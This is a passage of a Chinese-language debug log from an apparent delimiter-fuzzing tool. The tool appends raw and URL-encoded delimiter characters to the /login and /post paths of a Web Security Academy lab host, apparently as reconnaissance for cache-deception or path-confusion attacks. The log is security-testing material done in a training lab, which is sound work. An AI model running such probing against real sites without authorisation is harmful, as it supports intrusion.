href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%29aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%29aa</a><br>2025/10/23 20:45:30 [DEBUG] 正在测试分隔符 (来自字典): ‘<em>‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login</a></em>aa<br>2025/10/23 20:45:30 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Aaa</a><br>2025/10/23 20:45:30 [DEBUG] 正在测试分隔符 (来自字典): ‘+’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login+aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login+aa</a><br>2025/10/23 20:45:31 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Baa</a><br>2025/10/23 20:45:31 [DEBUG] 正在测试分隔符 (来自字典): ‘,’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login,aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login,aa</a><br>2025/10/23 20:45:31 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Caa</a><br>2025/10/23 20:45:31 [DEBUG] 正在测试分隔符 (来自字典): ‘-‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login-aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login-aa</a><br>2025/10/23 20:45:31 [DEBUG] 正在测试分隔符 (来自字典): ‘.’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login.aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login.aa</a><br>2025/10/23 20:45:31 [DEBUG] 正在测试分隔符 (来自字典): ‘/‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login/aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login/aa</a><br>2025/10/23 20:45:32 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Faa</a><br>2025/10/23 20:45:32 [DEBUG] 正在测试分隔符 (来自字典): ‘:’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login:aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login:aa</a><br>2025/10/23 20:45:32 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%3A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Aaa</a><br>2025/10/23 20:45:32 [DEBUG] 正在测试分隔符 (来自字典): ‘;’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login;aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login;aa</a><br>2025/10/23 20:45:32 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%3B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Baa</a><br>2025/10/23 20:45:32 [DEBUG] 正在测试分隔符 (来自字典): ‘&lt;’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login</a><aa2025/10/23 20:45:33 [DEBUG] 正在测试分隔符 (字典条目编码后): '%3C', URL: https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Caa2025/10/23 20:45:33 [DEBUG] 正在测试分隔符 (来自字典): '=', URL: https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login=aa2025/10/23 20:45:33 [DEBUG] 正在测试分隔符 (字典条目编码后): '%3D', URL: https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Daa2025/10/23 20:45:33 [DEBUG] 正在测试分隔符 (来自字典): '>', URL: https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login>aa<br>2025/10/23 20:45:33 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%3E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Eaa</a><br>2025/10/23 20:45:34 [DEBUG] 正在测试分隔符 (来自字典): ‘?’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login?aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login?aa</a><br>2025/10/23 20:45:34 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%3F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Faa</a><br>2025/10/23 20:45:34 [DEBUG] 正在测试分隔符 (来自字典): ‘@’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login@aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login@aa</a><br>2025/10/23 20:45:34 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%40’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%40aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%40aa</a><br>2025/10/23 20:45:34 [DEBUG] 正在测试分隔符 (来自字典): ‘[‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login[aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login[aa</a><br>2025/10/23 20:45:34 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%5B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Baa</a><br>2025/10/23 20:45:35 [DEBUG] 正在测试分隔符 (来自字典): ‘\’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login\aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login\aa</a><br>2025/10/23 20:45:35 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%5C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Caa</a><br>2025/10/23 20:45:35 [DEBUG] 正在测试分隔符 (来自字典): ‘]’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login]aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login]aa</a><br>2025/10/23 20:45:35 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%5D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Daa</a><br>2025/10/23 20:45:35 [DEBUG] 正在测试分隔符 (来自字典): ‘^’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login^aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login^aa</a><br>2025/10/23 20:45:36 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%5E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Eaa</a><br>2025/10/23 20:45:36 [DEBUG] 正在测试分隔符 (来自字典): ‘</em>‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login_aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login_aa</a><br>2025/10/23 20:45:36 [DEBUG] 正在测试分隔符 (来自字典): ‘<code>&#39;, URL: https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login</code>aa<br>2025/10/23 20:45:36 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%60’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%60aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%60aa</a><br>2025/10/23 20:45:36 [DEBUG] 正在测试分隔符 (来自字典): ‘{‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login{aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login{aa</a><br>2025/10/23 20:45:36 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%7B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%7Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%7Baa</a><br>2025/10/23 20:45:37 [DEBUG] 正在测试分隔符 (来自字典): ‘|’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login|aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login|aa</a><br>2025/10/23 20:45:37 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%7C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%7Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%7Caa</a><br>2025/10/23 20:45:37 [DEBUG] 正在测试分隔符 (来自字典): ‘}’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login}aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login}aa</a><br>2025/10/23 20:45:37 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%7D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%7Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%7Daa</a><br>2025/10/23 20:45:37 [DEBUG] 正在测试分隔符 (来自字典): ‘~’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login~aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login~aa</a><br>2025/10/23 20:45:37 [DEBUG] 正在测试分隔符 (来自字典): ‘%21’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%21aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%21aa</a><br>2025/10/23 20:45:38 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2521’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2521aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2521aa</a><br>2025/10/23 20:45:38 [DEBUG] 正在测试分隔符 (来自字典): ‘%22’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%22aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%22aa</a><br>2025/10/23 20:45:38 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2522’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2522aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2522aa</a><br>2025/10/23 20:45:38 [DEBUG] 正在测试分隔符 (来自字典): ‘%23’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%23aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%23aa</a><br>2025/10/23 20:45:38 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2523’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2523aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2523aa</a><br>2025/10/23 20:45:39 [DEBUG] 正在测试分隔符 (来自字典): ‘%24’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%24aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%24aa</a><br>2025/10/23 20:45:39 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2524’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2524aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2524aa</a><br>2025/10/23 20:45:39 [DEBUG] 正在测试分隔符 (来自字典): ‘%25’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%25aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%25aa</a><br>2025/10/23 20:45:39 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2525’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2525aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2525aa</a><br>2025/10/23 20:45:39 [DEBUG] 正在测试分隔符 (来自字典): ‘%26’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%26aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%26aa</a><br>2025/10/23 20:45:39 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2526’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2526aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2526aa</a><br>2025/10/23 20:45:40 [DEBUG] 正在测试分隔符 (来自字典): ‘%27’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%27aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%27aa</a><br>2025/10/23 20:45:40 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2527’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2527aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2527aa</a><br>2025/10/23 20:45:40 [DEBUG] 正在测试分隔符 (来自字典): ‘%28’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%28aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%28aa</a><br>2025/10/23 20:45:40 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2528’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2528aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2528aa</a><br>2025/10/23 20:45:40 [DEBUG] 正在测试分隔符 (来自字典): ‘%29’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%29aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%29aa</a><br>2025/10/23 20:45:41 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2529’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2529aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2529aa</a><br>2025/10/23 20:45:41 [DEBUG] 正在测试分隔符 (来自字典): ‘%2A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Aaa</a><br>2025/10/23 20:45:41 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%252Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%252Aaa</a><br>2025/10/23 20:45:41 [DEBUG] 正在测试分隔符 (来自字典): ‘%2B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Baa</a><br>2025/10/23 20:45:41 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%252Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%252Baa</a><br>2025/10/23 20:45:41 [DEBUG] 正在测试分隔符 (来自字典): ‘%2C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Caa</a><br>2025/10/23 20:45:42 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%252Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%252Caa</a><br>2025/10/23 20:45:42 [DEBUG] 正在测试分隔符 (来自字典): ‘%2D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Daa</a><br>2025/10/23 20:45:42 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%252Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%252Daa</a><br>2025/10/23 20:45:42 [DEBUG] 正在测试分隔符 (来自字典): ‘%2E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Eaa</a><br>2025/10/23 20:45:42 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%252Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%252Eaa</a><br>2025/10/23 20:45:43 [DEBUG] 正在测试分隔符 (来自字典): ‘%2F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2Faa</a><br>2025/10/23 20:45:43 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%252F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%252Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%252Faa</a><br>2025/10/23 20:45:43 [DEBUG] 正在测试分隔符 (来自字典): ‘%3A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Aaa</a><br>2025/10/23 20:45:43 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253A’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%253Aaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%253Aaa</a><br>2025/10/23 20:45:43 [DEBUG] 正在测试分隔符 (来自字典): ‘%3B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Baa</a><br>2025/10/23 20:45:43 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%253Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%253Baa</a><br>2025/10/23 20:45:44 [DEBUG] 正在测试分隔符 (来自字典): ‘%3C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Caa</a><br>2025/10/23 20:45:44 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%253Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%253Caa</a><br>2025/10/23 20:45:44 [DEBUG] 正在测试分隔符 (来自字典): ‘%3D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Daa</a><br>2025/10/23 20:45:44 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%253Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%253Daa</a><br>2025/10/23 20:45:44 [DEBUG] 正在测试分隔符 (来自字典): ‘%3E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Eaa</a><br>2025/10/23 20:45:44 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%253Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%253Eaa</a><br>2025/10/23 20:45:45 [DEBUG] 正在测试分隔符 (来自字典): ‘%3F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%3Faa</a><br>2025/10/23 20:45:45 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%253F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%253Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%253Faa</a><br>2025/10/23 20:45:45 [DEBUG] 正在测试分隔符 (来自字典): ‘%40’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%40aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%40aa</a><br>2025/10/23 20:45:45 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2540’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2540aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2540aa</a><br>2025/10/23 20:45:45 [DEBUG] 正在测试分隔符 (来自字典): ‘%5B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Baa</a><br>2025/10/23 20:45:46 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%255B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%255Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%255Baa</a><br>2025/10/23 20:45:46 [DEBUG] 正在测试分隔符 (来自字典): ‘%5C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Caa</a><br>2025/10/23 20:45:46 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%255C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%255Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%255Caa</a><br>2025/10/23 20:45:46 [DEBUG] 正在测试分隔符 (来自字典): ‘%5D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Daa</a><br>2025/10/23 20:45:46 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%255D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%255Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%255Daa</a><br>2025/10/23 20:45:46 [DEBUG] 正在测试分隔符 (来自字典): ‘%5E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Eaa</a><br>2025/10/23 20:45:47 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%255E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%255Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%255Eaa</a><br>2025/10/23 20:45:47 [DEBUG] 正在测试分隔符 (来自字典): ‘%5F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%5Faa</a><br>2025/10/23 20:45:47 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%255F’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%255Faa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%255Faa</a><br>2025/10/23 20:45:47 [DEBUG] 正在测试分隔符 (来自字典): ‘%60’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%60aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%60aa</a><br>2025/10/23 20:45:47 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%2560’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2560aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%2560aa</a><br>2025/10/23 20:45:48 [DEBUG] 正在测试分隔符 (来自字典): ‘%7B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%7Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%7Baa</a><br>2025/10/23 20:45:48 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%257B’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%257Baa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%257Baa</a><br>2025/10/23 20:45:48 [DEBUG] 正在测试分隔符 (来自字典): ‘%7C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%7Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%7Caa</a><br>2025/10/23 20:45:48 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%257C’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%257Caa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%257Caa</a><br>2025/10/23 20:45:48 [DEBUG] 正在测试分隔符 (来自字典): ‘%7D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%7Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%7Daa</a><br>2025/10/23 20:45:48 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%257D’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%257Daa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%257Daa</a><br>2025/10/23 20:45:49 [DEBUG] 正在测试分隔符 (来自字典): ‘%7E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%7Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%7Eaa</a><br>2025/10/23 20:45:49 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%257E’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%257Eaa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/login%257Eaa</a><br>2025/10/23 20:45:49 [DEBUG] 正在为分隔符检测选择基础URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post</a><br>2025/10/23 20:45:49 [DEBUG] 正在测试分隔符 (来自字典): ‘!’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post!aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post!aa</a><br>2025/10/23 20:45:49 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%21’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%21aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%21aa</a><br>2025/10/23 20:45:50 [DEBUG] 正在测试分隔符 (来自字典): ‘“‘, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post&quot;aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post&quot;aa</a><br>2025/10/23 20:45:50 [DEBUG] 正在测试分隔符 (字典条目编码后): ‘%22’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%22aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post%22aa</a><br>2025/10/23 20:45:50 [DEBUG] 正在测试分隔符 (来自字典): ‘#’, URL: <a href="https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post#aa">https://0a8b007e038b1af1813bb2fe00e20034.web-security-academy.net/post#aa</a><br>2025/10/23 20:45:50 [DEBUG] 为URL <a 